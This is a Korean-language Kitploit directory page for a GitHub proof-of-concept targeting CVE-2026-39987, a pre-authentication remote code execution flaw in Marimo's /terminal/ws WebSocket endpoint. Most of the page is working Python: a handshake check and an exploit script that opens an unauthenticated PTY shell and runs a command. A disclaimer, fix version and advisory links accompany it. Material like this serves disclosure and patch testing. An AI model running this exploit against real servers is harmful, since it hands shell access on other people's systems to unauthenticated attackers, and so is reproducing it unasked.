Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39987 — Proof-of-concept exploit for pre-authenticated remote code execution in Marimo via the WebSocket endpoint, allowing unauthenticated attackers to obtain an interactive PTY shell. | Kitploit
도구/GitHubGitHub/h3raklez/cve-2026-39987
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

Proof-of-concept exploit for pre-authenticated remote code execution in Marimo via the WebSocket endpoint, allowing unauthenticated attackers to obtain an interactive PTY shell.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39987 — Marimo 사전 인증 RCE

교육 및 공인된 보안 연구 목적으로만 사용하십시오.

설명

Marimo <= 0.20.4에서 사전 인증 원격 코드 실행 취약점이 발생합니다.
WebSocket 엔드포인트 /terminal/ws가 인증 검증을 건너뛰므로, 인증되지 않은 공격자가 단일 연결만으로 완전한 대화형 PTY 셸을 획득할 수 있습니다.

  • CVSS v4.0: 9.3 (치명적)
  • CWE: CWE-306 (중요 기능에 대한 인증 누락)
  • 영향받는 버전: <= 0.20.4
  • 수정된 버전: 0.23.0

요구 사항

  • Python 3
  • websockets (pip install websockets)
  • 대상의 2718 포트에 대한 네트워크 접근

엔드포인트 검증

엔드포인트가 자격 증명 없이 연결을 수락하는지 확인합니다:

root@kitploit:~
import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()

예상 결과: HTTP/1.1 101 Switching Protocols


익스플로잇

root@kitploit:~
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] 인증 없이 연결이 설정되었습니다")
        await asyncio.sleep(0.3)

        # 초기 PTY 배너 읽기
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY 배너]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # 명령 전송
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # 타임아웃까지 프레임 읽기
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE 출력]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))

참고 자료

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

면책 조항

이 도구는 교육 목적 및 공인된 보안 테스트 전용으로 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.

도구 다운로드